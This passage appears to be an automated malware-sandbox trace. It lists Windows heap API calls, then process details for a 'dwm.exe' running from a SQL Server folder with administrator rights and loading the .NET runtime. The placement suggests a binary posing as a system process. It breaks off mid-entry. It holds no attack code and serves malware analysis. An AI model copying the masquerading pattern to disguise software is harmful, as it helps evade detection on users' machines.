0x2159bc10000 [0118.766] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1aad0) returned 0x16 [0118.766] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1aad0) returned 1 [0118.766] GetProcessHeap () returned 0x2159bc10000 [0118.766] GetProcessHeap () returned 0x2159bc10000 [0118.766] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b6b0) returned 1 [0118.767] GetProcessHeap () returned 0x2159bc10000 [0118.767] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b6b0) returned 0x20 [0118.768] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b6b0) returned 1 [0118.768] GetProcessHeap () returned 0x2159bc10000 [0118.768] GetProcessHeap () returned 0x2159bc10000 [0118.768] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc2f6b0) returned 1 [0118.768] GetProcessHeap () returned 0x2159bc10000 [0118.768] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc2f6b0) returned 0x82 [0118.769] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc2f6b0) returned 1 [0118.769] GetProcessHeap () returned 0x2159bc10000 [0118.769] GetProcessHeap () returned 0x2159bc10000 [0118.769] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b9e0) returned 1 [0118.769] GetProcessHeap () returned 0x2159bc10000 [0118.769] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b9e0) returned 0x20 [0118.770] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b9e0) returned 1 [0118.770] GetProcessHeap () returned 0x2159bc10000 [0118.771] GetProcessHeap () returned 0x2159bc10000 [0118.771] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1aaf0) returned 1 [0118.771] GetProcessHeap () returned 0x2159bc10000 [0118.771] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1aaf0) returned 0xe [0118.771] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1aaf0) returned 1 [0118.771] GetProcessHeap () returned 0x2159bc10000 [0118.771] GetProcessHeap () returned 0x2159bc10000 [0118.771] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b770) returned 1 [0118.771] GetProcessHeap () returned 0x2159bc10000 [0118.771] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b770) returned 0x20 [0118.772] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b770) returned 1 [0118.772] GetProcessHeap () returned 0x2159bc10000 [0118.773] GetProcessHeap () returned 0x2159bc10000 [0118.773] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1a890) returned 1 [0118.773] GetProcessHeap () returned 0x2159bc10000 [0118.773] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1a890) returned 0xc [0118.773] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1a890) returned 1 [0118.773] GetProcessHeap () returned 0x2159bc10000 [0118.773] GetProcessHeap () returned 0x2159bc10000 [0118.773] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b9b0) returned 1 [0118.773] GetProcessHeap () returned 0x2159bc10000 [0118.773] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b9b0) returned 0x20 [0118.774] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b9b0) returned 1 [0118.774] GetProcessHeap () returned 0x2159bc10000 [0118.774] GetProcessHeap () returned 0x2159bc10000 [0118.774] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1aa70) returned 1 [0118.774] GetProcessHeap () returned 0x2159bc10000 [0118.775] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1aa70) returned 0xe [0118.775] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1aa70) returned 1 [0118.775] GetProcessHeap () returned 0x2159bc10000 [0118.775] GetProcessHeap () returned 0x2159bc10000 [0118.775] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b680) returned 1 [0118.775] GetProcessHeap () returned 0x2159bc10000 [0118.775] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b680) returned 0x20 [0118.776] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b680) returned 1 [0118.776] GetProcessHeap () returned 0x2159bc10000 [0118.776] GetProcessHeap () returned 0x2159bc10000 [0118.776] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1aa90) returned 1 [0118.776] GetProcessHeap () returned 0x2159bc10000 [0118.776] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1aa90) returned 0x10 [0118.776] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1aa90) returned 1 [0118.777] GetProcessHeap () returned 0x2159bc10000 [0118.777] GetProcessHeap () returned 0x2159bc10000 [0118.777] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b8f0) returned 1 [0118.777] GetProcessHeap () returned 0x2159bc10000 [0118.777] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b8f0) returned 0x20 [0118.778] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b8f0) returned 1 [0118.843] GetProcessHeap () returned 0x2159bc10000 [0118.843] GetProcessHeap () returned 0x2159bc10000 [0118.843] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc143e0) returned 1 [0118.843] GetProcessHeap () returned 0x2159bc10000 [0118.843] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc143e0) returned 0x18 [0118.844] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc143e0) returned 1 [0118.844] GetProcessHeap () returned 0x2159bc10000 [0118.844] GetProcessHeap () returned 0x2159bc10000 [0118.844] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc13fd0) returned 1 [0118.844] GetProcessHeap () returned 0x2159bc10000 [0118.844] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc13fd0) returned 0x20 [0118.844] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc13fd0) returned 1 [0118.844] GetProcessHeap () returned 0x2159bc10000 [0118.844] GetProcessHeap () returned 0x2159bc10000 [0118.844] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc18a10) returned 1 [0118.844] GetProcessHeap () returned 0x2159bc10000 [0118.844] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc18a10) returned 0x20 [0118.845] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc18a10) returned 1 [0118.845] GetProcessHeap () returned 0x2159bc10000 [0118.845] GetProcessHeap () returned 0x2159bc10000 [0118.845] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc18bc0) returned 1 [0118.845] GetProcessHeap () returned 0x2159bc10000 [0118.845] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc18bc0) returned 0x20 [0118.845] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc18bc0) returned 1 [0118.845] GetProcessHeap () returned 0x2159bc10000 [0118.845] GetProcessHeap () returned 0x2159bc10000 [0118.845] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc18b60) returned 1 [0118.845] GetProcessHeap () returned 0x2159bc10000 [0118.845] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc18b60) returned 0x20 [0118.846] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc18b60) returned 1 [0118.846] GetProcessHeap () returned 0x2159bc10000 [0118.846] GetProcessHeap () returned 0x2159bc10000 [0118.846] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc14000) returned 1 [0118.846] GetProcessHeap () returned 0x2159bc10000 [0118.846] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc14000) returned 0x18 [0118.846] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc14000) returned 1 [0118.846] GetProcessHeap () returned 0x2159bc10000 [0118.846] GetProcessHeap () returned 0x2159bc10000 [0118.846] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc18d40) returned 1 [0118.846] GetProcessHeap () returned 0x2159bc10000 [0118.846] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc18d40) returned 0x20 [0118.846] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc18d40) returned 1 [0118.846] GetProcessHeap () returned 0x2159bc10000 [0118.846] GetProcessHeap () returned 0x2159bc10000 [0118.846] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc18cb0) returned 1 [0118.846] GetProcessHeap () returned 0x2159bc10000 [0118.846] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc18cb0) returned 0x20 [0118.847] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc18cb0) returned 1 [0118.847] GetProcessHeap () returned 0x2159bc10000 [0118.847] GetProcessHeap () returned 0x2159bc10000 [0118.847] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc18aa0) returned 1 [0118.847] GetProcessHeap () returned 0x2159bc10000 [0118.847] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc18aa0) returned 0x20 [0118.847] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc18aa0) returned 1 [0118.847] GetProcessHeap () returned 0x2159bc10000 [0118.847] GetProcessHeap () returned 0x2159bc10000 [0118.848] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc18c20) returned 1 [0118.848] GetProcessHeap () returned 0x2159bc10000 [0118.848] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc18c20) returned 0x20 [0118.848] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc18c20) returned 1 [0118.848] GetProcessHeap () returned 0x2159bc10000 [0118.848] GetProcessHeap () returned 0x2159bc10000 [0118.848] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc18c50) returned 1 [0118.848] GetProcessHeap () returned 0x2159bc10000 [0118.848] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc18c50) returned 0x20 [0118.848] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc18c50) returned 1 [0118.848] GetProcessHeap () returned 0x2159bc10000 [0118.848] GetProcessHeap () returned 0x2159bc10000 [0118.848] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc14020) returned 1 [0118.848] GetProcessHeap () returned 0x2159bc10000 [0118.848] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc14020) returned 0x18 [0118.848] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc14020) returned 1 [0118.849] GetProcessHeap () returned 0x2159bc10000 [0118.849] GetProcessHeap () returned 0x2159bc10000 [0118.849] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc18c80) returned 1 [0118.849] GetProcessHeap () returned 0x2159bc10000 [0118.849] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc18c80) returned 0x20 [0118.849] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc18c80) returned 1 [0118.849] GetProcessHeap () returned 0x2159bc10000 [0118.849] GetProcessHeap () returned 0x2159bc10000 [0118.849] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc14a20) returned 1 [0118.849] GetProcessHeap () returned 0x2159bc10000 [0118.849] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc14a20) returned 0x18 [0118.849] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc14a20) returned 1 [0118.849] exit (_Code=0) Thread: id = 159 os_tid = 0x1338 Process: id = "19" image_name = "dwm.exe" filename = "c:\\program files\\microsoft sql server\\110\\shared\\dwm.exe" page_root = "0x32f1e000" os_pid = "0x1334" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x358" cmd_line = "\"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2991 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2992 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2993 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2994 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 2995 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2996 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2997 start_va = 0xf80000 end_va = 0x1179fff monitored = 1 entry_point = 0x117131e region_type = mapped_file name = "dwm.exe" filename = "\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe" (normalized: "c:\\program files\\microsoft sql server\\110\\shared\\dwm.exe") Region: id = 2998 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2999 start_va = 0x7ff5ffbf0000 end_va = 0x7ff5ffc12fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ffbf0000" filename = "" Region: id = 3000 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3317 start_va = 0x400000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3318 start_va = 0x7ffa61fc0000 end_va = 0x7ffa62027fff monitored = 1 entry_point = 0x7ffa61fc4970 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3319 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3320 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3641 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3642 start_va = 0x7ff5ffaf0000 end_va = 0x7ff5ffbeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ffaf0000" filename = "" Region: id = 3643 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3644 start_va = 0x560000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 3645 start_va = 0x660000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 3646 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3647 start_va = 0x7ffa76220000 end_va = 0x7ffa76298fff monitored = 0 entry_point = 0x7ffa7623fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 3648 start_va = 0x7ff5ffa70000 end_va = 0x7ff5ffaedfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 3649 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3650 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3651 start_va = 0x660000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 3652 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 3653 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3654 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3655 start_va = 0x7a0000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 4075 start_va = 0x170000 end_va = 0x176fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4076 start_va = 0x7ffa624c0000 end_va = 0x7ffa6255cfff monitored = 1 entry_point = 0x7ffa624c1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4077 start_va = 0x180000 end_va = 0x186fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 4078 start_va = 0x7ffa7b220000 end_va = 0x7ffa7b271fff monitored = 0 entry_point = 0x7ffa7b22f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4219 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4220 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 4221 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4222 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4223 start_va = 0x190000 end_va = 0x1c8fff monitored = 0 entry_point = 0x1912f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4224 start_va = 0x890000 end_va = 0xa17fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 4225 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4226 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 4227 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 4228 start_va = 0xa20000 end_va = 0xba0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a20000" filename = "" Region: id = 4229 start_va = 0x1180000 end_va = 0x257ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001180000" filename = "" Region: id = 4230 start_va = 0xbb0000 end_va = 0xda2fff monitored = 1 entry_point = 0xda131e region_type = mapped_file name = "dwm.exe" filename = "\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe" (normalized: "c:\\program files\\microsoft sql server\\110\\shared\\dwm.exe") Region: id = 4231 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 4232 start_va = 0x7ffa76d30000 end_va = 0x7ffa76d39fff monitored = 0 entry_point = 0x7ffa76d31350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4309 start_va = 0x7ffa5e8d0000 end_va = 0x7ffa5f2b5fff monitored = 1 entry_point = 0x7ffa5e8d5b60 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4310 start_va = 0x7ffa623c0000 end_va = 0x7ffa624b6fff monitored = 0 entry_point = 0x7ffa623e4d80 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\System32\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll") Region: id = 4367 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 4368 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 4369 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 4370 start_va = 0x7ff9ff1c0000 end_va = 0x7ff9ff1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1c0000" filename = "" Region: id = 4371 start_va = 0x7ff9ff1d0000 end_va = 0x7ff9ff1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1d0000" filename = "" Region: id = 4372 start_va = 0x7ff9ff1e0000 end_va = 0x7ff9ff26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1e0000" filename = "" Region: id = 4729 start_va = 0x7ff9ff270000 end_va = 0x7ff9ff2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff270000" filename = "" Region: id = 4730 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 4731 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 4732 start_va = 0xbb0000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 4733 start_va = 0x2580000 end_va = 0x272ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002580000" filename = "" Region: id = 4734 start_va = 0xbb0000 end_va = 0xcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 4735 start_va = 0xd20000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 4736 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 4737 start_va = 0x2730000 end_va = 0x1a72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 5463 start_va = 0x1a730000 end_va = 0x1aa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a730000" filename = "" Region: id = 5464 start_va = 0xd30000 end_va = 0xe37fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 5465 start_va = 0x7ffa7a990000 end_va = 0x7ffa7a997fff monitored = 0 entry_point = 0x7ffa7a9910b0 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 5466 start_va = 0xe40000 end_va = 0xf3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e40000" filename = "" Region: id = 8355 start_va = 0x2580000 end_va = 0x267ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002580000" filename = "" Region: id = 8356 start_va = 0x2720000 end_va = 0x272ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 8357 start_va = 0x1aaa0000 end_va = 0x1ab9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aaa0000" filename = "" Region: id = 8471 start_va = 0x1aba0000 end_va = 0x1aed6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8755 start_va = 0x7ffa5d3e0000 end_va = 0x7ffa5e8c7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll") Region: id = 9017 start_va = 0x7ffa7b290000 end_va = 0x7ffa7b3d2fff monitored = 0 entry_point = 0x7ffa7b2b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9018 start_va = 0x660000 end_va = 0x71ffff monitored = 0 